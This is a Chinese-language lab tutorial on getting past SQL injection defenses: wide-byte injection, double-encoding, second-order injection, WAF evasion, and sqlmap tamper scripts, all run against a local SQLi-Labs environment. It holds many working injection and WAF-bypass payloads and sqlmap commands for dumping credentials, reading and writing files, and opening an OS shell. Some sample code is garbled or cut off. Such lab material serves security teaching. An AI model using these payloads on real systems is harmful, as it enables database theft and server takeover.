本文学习如何绕过开发者对SQL注入设置的防御机制,主要是通过宽字节、二次编码、二次注入、绕过WAF等方法来突破防御机制。从每种方法的原理、方法讲解,到利用Sqli-Labs模拟环境来实战。
一、宽字节注入
1.1宽字节注入原理
宽字节:两个字节 例如 GBK、GB2312。(uft-8不是宽字节)
安全防御者为了应对SQL注入,因此在*
前面加入\
使其转义。
1.2宽字节注入方法
在注入点后键入%df
,然后按照正常的注入流程开始注入。
黑盒测试:
- 在可能的注入点后键入
%df
,之后进行注入测试白盒测试:
- 查看MySQL编码是否为GBK
- 是否使用preg_replace()把单引号替换成
\'
- 是否使用addslashes进行转义
- 是否使用mysql_real_escape_string进行转义
1.3实战 SQLi-Labs Less-32 白盒测试第二点
查看Less-32源码
测试注入点
Payload: http://127.0.0.1:8999/Less-32/?id=1%df'
判断数据表列数
Payload: http://127.0.0.1:8999/Less-32/?id=1%df' order by 4–+
union注入测试
Payload: http://127.0.0.1:8999/Less-32/?id=-1%df' union select 2,3,4–+
查询数据库SECURITY
中的数据表
Payload: http://127.0.0.1:8999/Less-32/?id=-1%df' union select 2,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),4–+
1.4实战 SQLi-Labs Less-33 白盒测试第三点
查看源代码
addslashes() 函数返回在预定义的字符(
'
、"
、\
和NULL)前添加反斜杠的字符串。
1.5 宽字节防御
- 使用UTF-8,避免宽字节注入(韩文、日语都是宽字节,都可能存在宽字节注入)
- mysql_real_escape_string(设置mysql_set_charset(‘gbk’,$conn);)
- 设置MySQL的连接参数(character_set_client=binary)
二、二次编码注入
2.1二次编码注入原理
urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消灭\
。
2.2二次编码注入方法
在注入点后键入%2527
,然后按照正常的注入流程开始注入。
黑盒测试:
- 在可能的注入点后键入
%2527
,之后进行注入测试白盒测试:
- 是否使用urldecode()函数
- urldecode()函数是否在转义方法之后使用
2.3实战 SQLi-Labs Less-0
SQLi-Labs内无此类型的题目,因此自行构造Less-0
1 |
|
正常输入–>不能够进行注入
Payload: http:127.0.0.1:8999/Less-0/?id=1’
构造二次编码环境
Payload: http:127.0.0.1:8999/Less-0/?id=1%2527
判断数据表列数
Payload: http:127.0.0.1:8999/Less-0/?id=1%2527 order by 4–+
union注入测试
Payload: http:127.0.0.1:8999/Less-0/?id=-1%2527 union select 1,2,3–+
查询数据库SECURITY
中的数据表
Payload: http:127.0.0.1:8999/Less-0/?id=-1%2527 union select 2,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),4–+
三、二次注入
3.1二次注入原理
第一步:插入恶意数据
在第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下次需要进行查询的时候,直接从数据库中取出恶意数据,没有进行进一步的检验和处理,这就造成了SQL的二次注入。
3.2二次注入方法
3.3实战 SQLi-Labs Less-24
插入新用户(账号为admin'#
密码为123
)
分析logged-in.php和pass_change.php源代码
修改刚才创建的admin'#
的密码
可以发现并不是修改了账号为admin '#
的密码,而是修改了账号为admin
的密码。这其中就存在着二次注入漏洞。
分析漏洞
查看pass_change.php源代码,并将上述账号密码带入。
则程序最终会执行: $sql = "UPDATE users SET PASSWORD='1' where username='admin'#' and password='$curr_pass' ";
(#
执行单条语句注释)
根据#
注释之后,程序会执行 $sql = "UPDATE users SET PASSWORD='1' where username='admin'";
3.4实战 SQLi-Labs Less-24 (改编)
设置数据表users中的username字段为VARCHAR(255)
使得username的长度为0-255之间
ALTER TABLE
users
CHANGEusername
username
VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;创建userlist.php文件中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 #php部分代码
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id asc";
$result= mysql_query($sql);
$num = mysql_num_rows($result);
for ($j = 0; $j = $num ; ++j)(
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "SELECT * FROM users where username='$username'";
$result_detail = mysql_query($sql_detail);
$num_detail = mysql_num_rows($result_detail);
for ($i = 0 ; $i = $num_detail ; ++$i))(
$row_detail = mysql_fetch_array($result_detail);
echo <<<END
<table border="1" style="table-layout;fixed;" width="1000">
<tr>
<th>$row_detail[1]</th>
<th>$row_detail[2]</th>
</tr>
</table>
END;
)
)
>创建账号为1’ union select 1,user(),3# 密码随意
查看数据库users内容,可以看到1’ union select 1,user()被SQL执行器执行了。
分析漏洞
查看userlist.php源代码,并将上述账号密码带入。
$sql_detail="SELECT * FROM users where username='$username'"
带入username=1’ union select 1,user(),3#
$sql_detail="SELECT * FROM users where username='1' union select 1,user(),3#'"
由于前半句查询结果为空,因此执行union,返回user()。
利用漏洞查询信息
设置账号为1’ union select 1,(select concat_ws(0x7e,username,password) from security.users limit 0,1),3#
3.5 二次注入防御
对外部提交的数据,需要更加谨慎的对待。
程序内部的数据调用,也要严格的进行检查,一旦不小心,攻击者就能将特定SQL语句带入到查询当中。
四、WAF(Web Application Firewell)绕过原理
- 熟练掌握MySQL函数和语法使用方法
- 深入了解中间件运行处理机制
- 了解WAF防护原理及方法
4.1 WAF绕过原理-白盒绕过
分析代码:使用了blacklist()函数过滤or
和AND
,i
指的是忽略大小写
绕过限制:1. 大小写变形 2. 等价替换 Or
、OR
、oR
and
–>&&
以及or
–>||
3. 诸如OorR
之类绕过。
4.2 WAF绕过原理-黑盒绕过
架构层绕过WAF
- 寻找源站->针对云WAF
- 利用同网段->绕过WAF防护区域
- 利用边界漏洞->绕过WAF防护区域 ssrf漏洞
资源限制角度绕过WAF
- POST大BODY(发送很大的数据包)
协议层面绕过WAF
- 协议未覆盖绕过WAF(请求方式变换 GET->POST;Content-Type变换:application/x-www-form-urlencoded->multipart/form-data;.)
- 参数污染
index.php?id=1&id=2(SQL注入)
规则层面的绕过(
%25
->%
)
4.3 Fuzz绕过WAF
以注释绕过为例子,开始Fuzz
注释符绕过
union/*something*/select
- 先测试最基本的:
union/**/select
- 再测试中间引入特殊字:
union/*aaaa%01bbs*/select
- 最后测试注释长度:
union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
构造Payload:http://127.0.0.1:8999/Less-1/?id=1' and ‘1’=’1
通过BurpSuite的Intruder暴力破解WAF规则
将空格 替换为 /*%!%2f*/
以及特殊函数 xx()
-> xx/*%!%2f*/()
示例Payload: http:127.0.0.1:8999/Less-0/?id='/*%!%2f*/union/*%!%2f*/select/*%!%2f*/2,(select/*%!%2f*/table_name/*%!%2f*/from/*%!%2f*/information_schema.tables/*%!%2f*/where/*%!%2f*/table_schema=0x7365637572697479/*%!%2f*/limit/*%!%2f*/0,1),4--+
五、SqlMapWaf绕过脚本编写
5.1 SQLMAP介绍
SQLMAP下载地址:http://sqlmap.org/
查看SQLMAP是否安装 python3 sqlmap.py -h
5.2 SQLMAP常用注入测试语句
测试1: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1"
查询SQL注入点
测试2: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --current-db
查询当前数据库
测试3: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --current-user
查询当前用户
测试4: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --dbs
该测试服务器所有数据库的名称
测试5: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" -D security --tables
测试6: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" -D security -T users --columns
测试7: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" -D security -T users -C username,passsword --dump
测试8: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --os-shell
测试9: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --sql-shell
交互式SQL界面
测试10: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --file-read=‘var/www/a.php’
测试11: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --file-write 本地文件 --file-dest 目标文件
5.3 SQLMAP Tamper 脚本介绍
SQLMAP目录下Tamper文件夹中的一些脚本:
5.4 SQLMAP Tamper 脚本编写
以base64encode.py
为例子查阅如何编写脚本
1 | # 头部声明 |
编写脚本:sqli-lab28.py
1 | #!/usr/bin/env python |
5.5实战 SQLi-Labs Less-28(分析Fuzz方法)
查看源代码,可以发现blacklist()函数将/ * - # space {union +select}
过滤。
调用5.4编写的sqli-labs.py
脚本
SQLMAP语句:python3 sqlmap -u "http://127.0.0.1:8999/Less-28/?id=1" --flush-session --tamper=sqli-labs28.py